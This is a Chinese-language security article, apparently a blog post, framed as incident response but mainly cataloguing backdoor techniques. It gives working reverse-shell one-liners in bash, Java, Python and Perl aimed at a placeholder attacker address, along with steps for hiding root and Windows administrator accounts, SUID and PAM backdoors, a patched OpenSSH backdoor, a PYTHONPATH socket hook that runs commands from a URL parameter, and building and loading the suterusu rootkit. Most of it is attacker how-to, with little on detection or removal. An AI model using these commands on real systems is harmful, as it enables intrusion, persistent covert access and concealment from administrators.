安全應急響應之後門篇
後門是一種繞過認證或系統加密的方法,開發人員會出於某原因,可能為自己的程式構建後門程式。例如,為了提供簡單的維護,開發人員引入了一個後門,可以恢復裝置廠商的預設密碼;同時攻擊者也會將後門種植到有漏洞的伺服器來接管伺服器,執行攻擊和上傳惡意payload。
後門簡介
反彈 SHELL 技術
當目標系統為 LINUX 時,反彈 SHELL 在漏洞證明、利用中是一個有效的手段。可在目標機器執行 bash -i >& /dev/tcp/[攻擊者IP]/[攻擊者埠] 0>&1
反彈 SHELL。

bash -i
用於建立一個互動式 BASH; >& /dev/tcp/[攻擊者IP]/[攻擊者埠]
建立 TCP 連線,將標準輸出和錯誤輸出重定向到 TCP 連線; 0>&1
用於從 TCP 連接獲取輸入並傳入到 BASH。
如下所示為一個 BASH 語言實現的反彈 SHELL 示例,攻擊者外網機器執行命令 nc -l [攻擊埠]
,獲取 TCP 連線後可直接執行命令

反彈 SHELL 可在目標機器使用 NC 監聽埠,可利用常規服務埠 80、8080 等用來繞過可能存在的外部防火牆的網路控制策略。
BASH 語言
0<&196;exec 196<>/dev/tcp/[攻擊者IP]/[攻擊者埠]; sh <&196 >&196 2>&196
JAVA 語言
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[攻擊者IP]/[攻擊者埠];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
PYTHON 語言
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[攻擊者IP]",[攻擊者埠]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PERL 語言
perl -e 'use Socket;$i="[攻擊者IP]";$p=[攻擊者埠];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
反彈 SHELL 持久化
如下圖,根據 ofollow,noindex">MITRE 攻擊矩陣,反彈 SHELL 可持久化在 .bash_profile
、 .bashrc
啟動服務、瀏覽器外掛、HOOK 操作、登入啟動指令碼等系統功能模組中。

隱藏系統使用者
LINUX 隱藏高許可權賬號
LINUX 中隱藏高全許可權使用者可直接編輯 /etc/passwd
檔案,將檔案中指定使用者 UID 和 GID 值修改為 0

如下所示,可直接隱藏使用者許可權為 root 許可權和使用者組

WINDOWS 使用者隱藏
修改登錄檔 HKEY_LOCAL_MACHINE\SAM\SAM\
許可權為管理員完全控制,如下圖所示

新建特殊賬戶,無法通過 net user
檢視到使用者

使用者名稱以 $
結尾的通過 net user
無法檢視到指定使用者,但可在控制面板檢視使用者

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
中查詢新建使用者 xf0rk$
預設型別為 0x3ea
,將登錄檔 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\xf0rk$
匯出為 1.reg

在登錄檔查詢 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA
匯出為 2.reg
,將 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
匯出為 3.reg
,將登錄檔項 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA
下鍵 F
的值替換為 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
下鍵 F
的值,如下圖所示
命令列刪除特殊賬戶 net user xf0rk$ /del
,匯入 1.reg
、 2.reg
登錄檔檔案,此時無法通過 net user
檢視該賬戶,也無法在控制面板中看到該賬戶,但可通過 net user xf0rk$
檢視使用者資訊

SUID 許可權隱藏
SUID 是 Linux 的一種許可權機制,具有這種許可權的檔案會在其執行時,使呼叫者暫時獲得該檔案擁有者的許可權,如果擁有 SUID 許可權,那麼就可以利用系統中的二進位制檔案和工具來進行 ROOT 提權。
如下檔名為 ...
( 可通過建立 ...
與 .
、 ..
相近的檔名來干擾管理員排查後門 ),許可權為 -rwsr-xr-x
,說明普通使用者執行該檔案時可獲得檔案擁有者 root 許可權。以當前使用者 xf0rk 執行命令 useradd test
發現使用者許可權過低無法建立使用者,通過執行 ...
檔案提權後執行 useradd test
成功建立使用者。

LINUX PAM 後門
LINUX PAM 簡介
Linux-PAM (linux可插入認證模組)是一套共享庫,使本地系統管理員可以方便配置程式的認證方式,即可不用重新編譯一個包含 PAM 功能的應用程式就改變它使用的認證機制。PAM使用配置 /etc/pam.d/ 下的檔案來管理認證方式,應用程式呼叫相應的配置檔案,以載入動態庫的形式呼叫 /lib/security 下的模組。
PAM 配置可分為四個引數 模組型別 控制標記 模組路徑 模組引數
,例如 session required pam_selinux.so open

PAM 模組型別包含 auth(認證管理)、account(賬號管理)、session(會話管理)、password(密碼管理)四種:
模組型別 | 說明 |
---|---|
auth | 使用者身份識別,如提示輸入密碼、判斷是否為 root 等 |
account | 對賬號的各項屬性進行檢查,如是否允許登入、是否達到最大使用者數、判斷 root 使用者是否允許終端登入等 |
session | 定義使用者登入前及使用者退出後所需要進行的操作,如登入連線資訊、使用者資料開啟、掛載檔案系統等 |
password | 使用使用者資訊來更新,如修改使用者密碼 |
PAM 的控制標記來處理和判斷各模組的返回值
控制標記 | 說明 |
---|---|
required | 若成功,繼續檢查下一個模組並取決於其他模組;若失敗,則停止並返回失敗 |
requisite | 若成功,繼續檢查下一個模組並取決於其他模組;若失敗,繼續檢查下一個模組,並返回失敗 |
sufficient | 若成功,則停止並返回成功;若失敗,繼續檢查下一個模組並取決於其他模組 |
optional | 若成功,則繼續檢查下一個並取決於其他模組,若失敗,繼續檢查下一個模組,並取決於其他模組 |
include | 無關,執行包含檔案中的驗證,取決於其他模組 |
PAM 模組路徑指要呼叫的模組位置,同一個模組可以出現在不同的型別中,不同的型別所執行的操作都不相同,模組引數即傳遞給模組的引數,引數之間用空格分隔開。
PAM LISTFILE 模組後門
PAM 中模組 pam_listfile.so,允許儲存在/tmp/users 中的使用者登入,其中 users 檔案中的使用者名稱為 root
即只要是 root 使用者(sufficient 控制標記,匹配存在則可直接返回成功)均可以直接登入。

PAM ROOTOK 模組後門
PAM 中模組 rootok.so,使 uid 為 0 的使用者( root )能夠直接通過認證而不用輸入密碼,系統檔案 /etc/pam.d/su
中預設存在 auth sufficient pam_rootok.so
即 root 使用者可以不輸密碼執行 su 命令。當通過將 sshd 軟鏈到檔名為 su 的檔案時,執行 su 檔案會載入 pam_rootok.so 模組,此時若使用 root 使用者登入,則可免密直接登入成功。

root 使用者可任意密碼可直接登入系統,執行任意命令

LINUX SSH 後門
LINUX SSH 後門通過編譯 PATCH 到原 SSH 應用,來生成 SSH 後門 下載檔案 ,具體步驟如下所示
tar zxvf openssh-5.9p1.tar.gz tar zxvf openssh-5.9p1.patch.tar.gz cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/複製patch後門檔案到正常openssh裡面 patch < sshbd5.9p1.diff
修改後門密碼和檔案記錄,如下圖所示

修改版本為目標機器 SSH 版本,欄位為 SSH_VERSION
[email protected] openssh-5.9p1# vim version.h
#define SSH_VERSION "OpenSSH_5.3p1"
#define SSH_PORTABLE "p1"
#define SSH_RELEASE SSH_VERSION SSH_PORTABLE
安裝編譯依賴包並編譯安裝
重啟 SSH 服務即可, service sshd restart
WebShell 後門
WebShell 是 Web 伺服器上的管理工具,可以對 Web 伺服器進行網站管理、伺服器管理,可管理伺服器檔案、檢視資料庫等。攻擊者可利用 Web 漏洞上傳 WenShell 到 Web 伺服器的頁面目錄下,通過直接訪問上傳檔案進行入侵、保留許可權等。
WebShell 根據功能分為大馬、小馬,小馬通常指一句話木馬,如下所示
通過中國菜刀連線到已成功上傳的小馬,可進行伺服器檔案管理,如下為操作檔案和執行命令


第三方依賴庫後門
如下圖,在 Python 預設 string 庫中嵌入式惡意程式碼,程式碼 import string 操作時可觸發一段惡意程式碼

隱藏在 PYTHONPATH 的後門處於 Python 直譯器和 OS/Kernel 之間,通常通過 import x 查詢順序為:當前目錄 -> PYTHONPATH 環境變數 -> 預設 Python 庫目錄,如下圖所示

基於 Django 框架開發的測試網站,其 urls.py 檔案中路由配置如下所示,其僅包含根目錄和admin目錄兩個目錄
from django.conf.urls import url from django.contrib import admin urlpatterns = [ url(r'^admin/', admin.site.urls), ]
如下程式碼,利用 PYTHONPATH 過載了socket.py 模組,實現訪問所有 URL 連結新增 cmd 引數,則可直接執行命令
def _hook_readline(self, *args, **kwargs): retval = object.__getattribute__(self, 'readline')(*args, **kwargs) if retval.startswith('GET /?cmd='): (verb, url, version) = retval.split(' ') self.__outputs__.put(os.popen(urllib.unquote_plus(url[6:])).read()) return retval
如下為通過引入 ?cmd=ifconfig
來執行 ifcnfig
命令

ROOTKIT 後門
ROOTKIT 是使不法使用者具有系統超級管理許可權,並能隱藏自身入侵系統的資訊,來實現長期許可權控制的工具集。ROOKIT 根據工作層次可分為使用者級、核心級、晶片虛擬化級三層,使用者級可劃分為對 Linux 輸出結果進行封裝和替換 Linux 命令型的 ROOKIT;核心級有效劫持系統呼叫輸出的 ROOKIT,包括利用 LKM 動態修改核心、替換 SYS_CALL 實現劫持、工作在 VFS 利用 Hook 檔案系統的 file_open 操作;晶片級即整合到 Intel 或 AMD 晶片中的 ROOKIT。

下面將展示如何編譯和使用 suterusu ROOKIT 下載地址 。
[[email protected] suterusu]# yum install kernel-devel
Failed to set locale, defaulting to C
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* base: mirrors.163.com
* epel: fedora.cs.nctu.edu.tw
* extras: mirrors.163.com
* updates: mirrors.cn99.com
Package kernel-devel-3.10.0-862.14.4.el7.x86_64 already installed and latest version
Nothing to do
[[email protected] suterusu]# ls /usr/src/kernels/3.10.0-862.14.4.el7.x86_64/
KconfigMakefile.qlockSystem.mapblockdriversfsinitkernelmmsamplessecuritytoolsvirt
MakefileModule.symversarchcryptofirmwareincludeipclibnetscriptssoundusrvmlinux.id
[[email protected] suterusu]#
編譯核心模組
[[email protected] suterusu]# make linux-x86 KDIR=/usr/src/kernels/3.10.0-862.14.4.el7.x86_64/
make ARCH=x86 EXTRA_CFLAGS="-D_CONFIG_X86_ " -C /usr/src/kernels/3.10.0-862.14.4.el7.x86_64/ M=/tmp/suterusu modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-862.14.4.el7.x86_64'
CC [M]/tmp/suterusu/main.o
CC [M]/tmp/suterusu/util.o
CC [M]/tmp/suterusu/module.o
LD [M]/tmp/suterusu/suterusu.o
Building modules, stage 2.
MODPOST 1 modules
CC/tmp/suterusu/suterusu.mod.o
LD [M]/tmp/suterusu/suterusu.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-862.14.4.el7.x86_64'
[[email protected] suterusu]# ls |grep suterusu.ko
suterusu.ko
[[email protected] suterusu]#
安裝核心模組
insmod suterusu.ko
編譯使用者態應用
[[email protected] suterusu]# gcc sock.c -o sock
sock.c: In function 'main':
sock.c:205:40: warning: incompatible implicit declaration of built-in function 'strlen' [enabled by default]
rk_file_args.namelen = strlen(name);
^
sock.c:220:40: warning: incompatible implicit declaration of built-in function 'strlen' [enabled by default]
rk_file_args.namelen = strlen(name);
^
[[email protected] suterusu]# ls |grep sock
sock
使用者態命令引數
./sock 0 獲取 ROOT 許可權 ./sock 1 [PID] 隱藏指定 PID 應用 ./sock 2 [PID] 顯示指定 PID 應用 ./sock 3 [PORT] 隱藏指定 PORT ./sock 4 [PORT] 顯示指定 PORT ./sock 11 [name] 隱藏指定檔名或資料夾 ./sock 12 [name] 顯示指定檔名或資料夾 …… 更多命令引數請參考官方專案文件